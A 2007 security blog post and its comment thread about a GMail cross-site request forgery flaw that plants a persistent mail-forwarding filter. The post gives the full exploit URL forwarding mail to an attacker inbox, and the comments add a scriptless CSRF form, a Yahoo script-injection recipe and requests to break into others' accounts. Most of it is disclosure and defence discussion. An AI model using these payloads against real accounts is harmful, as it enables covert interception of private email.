GNUCITIZEN

Google GMail E-mail Hijack Technique

published: September 25th, 2007

partners:

I feel a bit dirty now. First of all, I would like to say that I am a huge Google fan, so don’t take this post personally. Here I am going to show you how someone can install a persistent backdoor within your GMail account and snoop onto all your conversations. I repeat, it is persistent. It is very critical and very unlikely that you will detect it unless you are an uber user.

The following sequence describes how the attack works in a series of screenshots. Go over each step before moving forward.

The victim visits a page while being logged into GMail. Upon execution, the page performs a multipart/form-data POST to one of the GMail interfaces and injects a filter into the victim’s filter list. In the example above, the attacker writes a filter, which simply looks for emails with attachments and forward them to an email of their choice. This filter will automatically transfer all emails matching the rule. Keep in mind that future emails will be forwarded as well. The attack will remain present for as long as the victim has the filter within their filter list, even if the initial vulnerability, which was the cause of the injection, is fixed by Google.

The technique used in this example is known as Cross-site request forgery, or simply put CSRF. I am not planning to go into details how it works. Just look it up on Google or better yet, Yahoo. Yes Yahoo is a lot better these days, especially when it comes to hardcore Web2.0 API hacking. For more information, check out the following white paper.

I am not planning to release this vulnerability for now. However, it is my responsibility to inform you about it. The exploit was verified by Ryan Naraine and several close friends. It does work and it is extremely nasty if you ask me. You may criticize my disclosure policy regarding this vulnerability and the one disclosed several days ago concerning PDF. Let’s say that it is just one of my social experiments.

btw, if you find the vulnerability, pls do not disclose it. let Google fix it first and then blog about it. also, virtualized browsers will never protect you from these types of attacks. In an age where all the data is in the cloud, it makes no sense for the attackers to go after your box. it is a lot simpler to install one of these persistent backdoor/spyware filters. game over! they don’t own your box, but they have you, which is a lot better.

Update 28 September 2007 at 07:46 GMT (UTC+0)

I promised to release the POC as soon as Google fix the vulnerability, well they did. So, here is how it works:

http://www.gnucitizen.org/util/csrf?_method=POST&_enctype=multipart/form-data&_action=https%3A//mail.google.com/mail/h/ewt1jmuj4ddv/%3Fv%3Dprf&cf2_emc=true&cf2_email=evilinbox@mailinator.com&cf1_from&cf1_to&cf1_subj&cf1_has&cf1_hasnot&cf1_attach=true&tfi&s=z&irf=on&nvp_bu_cftb=Create%20Filter

The request above goes through my CSRF redirection utility where it is converted into multipart/form-data form and submitted on behalf of the victim. The actual exploit can be launched from here.

keywords: 0day, GMail, Google, exploit, security, vulnerability, hacking, hack
post_avatar: http://www.gnucitizen.org/images/506149939_1af181362b.thumbnail.jpg

» more | » comments rss | posted by pdp | syndication and integration ( )

comments

buherator responds:

I think beford was faster: http://blog.beford.org/?p=3

pdp responds:

buherator, this is a different exploit/vulnerability all together…

xen ix responds:

Wow. Checked my Filters right away and gladly I haven’t been affected.

Keep up the great work.

Anonymous responds:

I’m all for giving the developer time to fix a bug, but why simultaneously disclose without detail? There are plenty of smart people that will use it as information pointing to something that is interesting and will likely also find the bug. Not very useful. If you don’t like full public disclosure, say nothing at all until a fix is in place.

You do great work and I enjoy reading the technical details of your disclosures and research. I’m not sure this new disclosure experiment is any better than someone saying, “There is a critical bug in IE. Don’t use it”.

Please do keep up the good work even if some of us are critical of your new disclosure policy.

Giorgio Maone responds:

CSRF using POST, right?
Can I assume what I’m assuming about mitigation provided by a certain Firefox extension?

troika responds:

i don’t know if people realize How Much these bugs can be dangerous. E-mail is a very very personal space,the user trust it.

I like G.ogle but, it should slow down a bit. There are too much services/features. The user have no time to fully understand how it works and it’s weakness. The Course To Web 2.0 it’s becoming very dangerous.

pdp responds:

Giorgio, I thought that NoScript can prevent JavaScript from executing only, but it cannot prevent POST forms to submit if the user clicks on it right? Nevertheless, the attack will be a lot more difficult without JavaScript, unless there is a way to say that the forms should submit when it renders without using any scripting at all.

Giorgio Maone responds:

Petko, NoScript by default prevents every each cross-site POST from untrusted sites as part of its anti-XSS countermeasures which, incidentally, do work as anti-CSRF countermeasures in the best-practice case of POST used for non-idempotent requests, like GMail filters do.
So even if you manage to trick user into clicking a submit button (e.g. using clever CSS disguises), the payload will be stripped out :)

pdp responds:

Giorgio, sounds good but doesn’t that break things. I mean, CSRF is one of the most fundamental Web characteristic. Disabling it might be ok for people like us, but for the general population, that is a no go! I am not trying to make people more vulnerable. I want for the the extension to succeed. But that wont happen if it breaks pages.

xen ix responds:

@Anonymous: This is what happens if you silently wait for someone to fix a bug.

http://bitsex.net/2007/09/norwegian-police-fucks-up/

Is this what you want?

What pdp is doing is very honourable. Not only does he warn us, but he keeps a lid on how to do it. If he let people know how to do it, then we would have a bunch of script kiddies probably making a mess. Now those who know and might find out how to do it are so few, so most of us won’t notice it, and it will be hopefully fixed within it might get very critical.

So again, what do you want? A silent warning or no warning at all?

Giorgio Maone responds:

Petko, this anti-CSRF feature has been in place for six months now (since March, 18th) and nobody complained about it. Consider that by default NoScript filters exclusively cross-site POST requests *from untrusted to trusted* sites, and as such is very unlikely to break anything legitimate.
Why should you want an untrusted site to modify the state (that’s what POST is for) of a site you trust?
At any rate, I repeat: I didn’t receive any complaint about it, and many people didn’t even notice — just like you ;)

Anonymous responds:

@xen ix

I’m not too interested in the script kiddie effect. Yes, they can cause a severe nuisance.

What I am more concerned about are those with equal or greater talents than the public researchers that are tipped off as to where to look. As you say, they are few and most of us won’t notice when they succeed. What partial disclosure does is to raise the awareness of those who can exploit a weakness as they WILL know what to look for.

I am in the full public disclosure camp, following a reasonable private disclosure timeout to the vendor. While you await a vendor fix in whatever timeline suits you as the discloser, don’t tip your hat to the people who have no ethics.

pdp does a great service to the community at large. My only gripe is that if there is a public disclosure of any kind, make it full so that mitigations can be researched. If you are working with the vendor and don’t want to make a full disclosure because the vendor has not yet fixed the issue, don’t publicly disclose at all. When the vendor either fixes the problem or stops working with you, go for full public disclosure.

pdp responds:

Giorgio, that’s all cool. However, I’ve seen many many different setups, especially Intranet ones, that require CSRF to work. In one recent case, the company that I was consulting had to even reduce the security level for the Internet zone, from the domain controller, in order to make their Web app work, since it requires users to be able to open file:// URLs. You call that crazy. I call that crazy, but this is the real world.

Awesome AnDrEw responds:

Another awesome disclosure, pdp. I always enjoy the creative uses you find for vulnerabilities. I don’t believe I ever would have thought to combine a filter with a CSRF in order to create a persistent issue within any mail service. Nice work.

Giorgio Maone responds:

Petko, not to be picky, but they need CSR, not CSRF to work :)

Anyway, NoScript is very configurable on this side: “NoScript Options|Advanced|XSS|Exceptions”

LiquidBrain responds:

Very interesting… tried and works… Great thinking…

.mario responds:

Very nice find again - and a signal to not underestimate CSRF like usual.

@Giorgio: I didn’t know about the CSRF protection yet - great thing.

Adrian Pastor responds:

“Nevertheless, the attack will be a lot more difficult without JavaScript, unless there is a way to say that the forms should submit when it renders without using any scripting at all.”

Guys,

Let’s remember that even if you don’t allow scripting from a certain domain (i.e.: using NoScript), we can still forge a POST request by simply tricking the user to click on a image. I love using the thumbnail of a hot chick for demo purposes. Come on, don’t tell me you wouldn’t click on it to make the picture bigger! :-D

<html><head></head><body>
Click on the thumbnail to zoom in!<br><br>
<form action="http://mail.google.com/blah/blah.py" method="post">
<input type="text" name="param1" value="whatever1" style="display: none;" />
<input type="text" name="param2" value="whatever2" style="display: none;" />
<input type="image" src="http://somewhere.com/hotchick.jpg" value="Login">
</form></body></html>

I really doubt NoScript can stop the previous code, as we don’t use JavaScript. Anyways, this vulnerability is a KILLER and gives me lots of new ideas to poke with webmail services out there.

Giorgio Maone responds:

Adrian,
You probably missed my comment http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/#comment-52628
and the discussion which followed.

In short, NoScript actually prevents this kind of attack even if the attacker uses a scriptless CSRF vector like yours, and the countermeasure proved to be so much transparent that neither you nor Petko noticed it even if it’s there since six months ago ( http://noscript.net/changelog#1.1.4.6.070318 ): cross-site POST requests from untrusted sites are turned into no-data GET.

Frizz responds:

gmail BETA, verry inportant to read the beta thing ;)

hnky responds:

What happens when you delete the filter?

Vincent van den Brink responds:

Nice found! To Google to fix it.

DrByte responds:

Your friend Ryan Naraine disclosed the exploit in his plagiarism of your article and even included links to an EVIL site with the LIVE exploit, so that the unaware could get infected first hand.

That’s not the kind of education I need…

I have requested that he edit the article with no response.

Amanda responds:

I canÂ´t say nothing…

just…

Wow…

lol

Congrats for your great job!

jumpin joe responds:

How Do We Fix This Vulnerability?

rezn responds:

DrByte: the links in Narrine’s blog are to an older, already patched exploit. I don’t know why he linked to PoCs for something that is patched.

PDP: I just want to say that it is great how you have stepped up the technical content in the blog again, even if I’m not quite in agreement with your (non)disclosure technique. But its your choice, so i won’t bother complaining or debating.

Anyway, nice job on the recent vulns, including this one.

vsync responds:

Letâ€™s remember that even if you donâ€™t allow scripting from a certain domain (i.e.: using NoScript), we can still forge a POST request by simply tricking the user to click on a image.

Yes, and that’s why various RFCs recommend that servers only take action on POST requests, and that user agents make POST actions visually distinct. Another wise and obvious rule broken by “designers”.

Panio Donev responds:

Good job. Only maybe you should have notified google first (and ask for a hefty ransom :-)).

pdp responds:

Google is working on a fix! This is what I’ve got when I tried the exploit this evening.

Elegant! I like the way Google fixes bugs.

Adrian Pastor responds:

Giorgio Maone,

That’s actually pretty cool, nice work! I’m a big fan of NoScript btw!

Lizandro Diaz responds:

Com’on GMAIL this is the second time, this happens, enough is enough.

sirdarckcat responds:

yeap, the bug has been fixed, as you can see, the request now has a new field named “at”, that has 2 hex-strings separated by a slash, the first one appears to be a session identifier, and the second a counter.

Greetz!!

pdp responds:

check above for further details on the vulnerability…

MuyCapaz responds:

Forgive my ignorance, but wouldn’t launching every click in a separate virtual machine sandbox go a long way toward a solution? No cross pollination, no problem, right?

hackathology responds:

nice one pdp!!

Adrian Pastor responds:

Is it just me, or is this the security post with the biggest number of trackbacks on the planet? :-D

pdp responds:

MuyCapaz, the sandboxing model will help protecting you box but not your data!!!

thornade responds:

Did someone know if this other bugs has been fixed http://xs-sniper.com/blog/Google-Docs-Cross-Domain-Hole/

It concerns Google Docs & Crossdomain.xml

Thorn

SNaRe responds:

I heard that google fixed this problem

alok responds:

this is good but it has some problem like it doesn’t describe a lot about hw it hack the email account….
it requires little bit more description

0kn0ck responds:

Good stuff man!.

Romain Wartel responds:

This is the second CSRF affecting GMail recently. Is there any details on how they fixed the two vulnerabilities?

Romain.

Ranjkar responds:

Thatâ€™s actually pretty cool, nice work! Iâ€™m a big fan of NoScript btw!

MARKY responds:

Salut,

Hacker responds:

Yahoo has similar attack holes in http://omg.yahoo.com/

Attack example

http://omg.yahoo.com/happy-birthday-zac/photos/810/6

1. Get yahoo 360 blog … upload your picture in the blog and select the picture to be shared in settings.

2. Go to above omg.Yahoo.com/something and comment in the box with any evil script type url.

Now the example attack im using is with 360.

Post: ">YahooHacked');">

This script will replace all others users avatars with your own avatar and you will recive a Yahoo Admin Email and might have your account closed … Enjoy

brielle responds:

lol…this makes no sense 2 me…it sounds great however does this stuff work 2 catch a cheating spouse???

grawity responds:

came here by browsing archives… is the account in seq1.jpg yours? it looks that the jvyyuie guy is adding all the Wink to his friends.

sexyman responds:

thanks for keeping us up to speed and even moreso for making sure these script kiddies don’t figure out how to do it (eventho fixed). keep up the good work!

Rockdrala responds:

You fix the exploit by not opening mail or clicking on any links in mail from people you dont know silly :p

This crap is old. Anyone can sploit this.

This technique has been out long before Gmail was even a thought. And its one of those things thats always going to be around.

Some people use mail server hacks where they can send a email completely from a email like “support@paypal.com” and have the paypal page in the email but when you click on the link it goes to there cookie sploiting site instead of people or even worse may collect your login information becuase your too silly to look at the url or they have a URL rewrite filter that makes it look like its paypal.

The only thing you can do to fight these things.
1. Dont open mail from people you dont know.
2. If the mail is from a potential customer “someone you need to meet through email as a new person” then setup a email address for that flow like sales@mydomain.com
Makes sure the mail is scanned for virus and spoof checked.
3. Use a smaller email provider. Smaller email service providers can take more care in adding custom SPF records and spam filters in the Mail server for your pop and smtp service that checks headers and makes the mail actually comes from what it says its coming from.

Green Party Guy responds:

Thanks for posting this. A good friend had their account compromised and they wondering why their domain name registrations were stolen from them.

pdp responds:

Green Party Guy, we are aware of the case, though it is very hard to define the method the attacker has used in order to hijack the account.

Consumed Consumer responds:

Very informative, esp. the trick for NoScript (kiddies) :)

Nicolae Namolovan responds:

I think CSRF can be easily defeated by checking referer. If your site is not supposed to receive any POST from any 3th party side, then check where POST comes from and block them altogether.
Surprised that gmail is not doing this..

pdp responds:

Nicolae, refers can be spoofed, not to mention that you can configure your browser not to send them at all. Therefore, CSRF protection based on refers only is not a solution. The only solution is to implement random tokens per request and store their values within the form you want to check for a CSRF condition. This works and this is what the Google folks tried to do, although their implementation was seriously flawed.

adilah responds:

I would like to hack into my friends account i believe that she is hidding something from me

Rogger responds:

Hey….

I m not understanding what have to do in the filter…. can anyone plz tell me……

clinnasmawl responds:

Snx for you job!
It has very much helped me!

rok responds:

but these days mitm is possible though..:d

Johnes I. responds:

I have been locked out of my gmail account. How do I hack back in?

navigation

Google GMail E-mail Hijack Technique

Update 28 September 2007 at 07:46 GMT (UTC+0)

comments

trackbacks

respond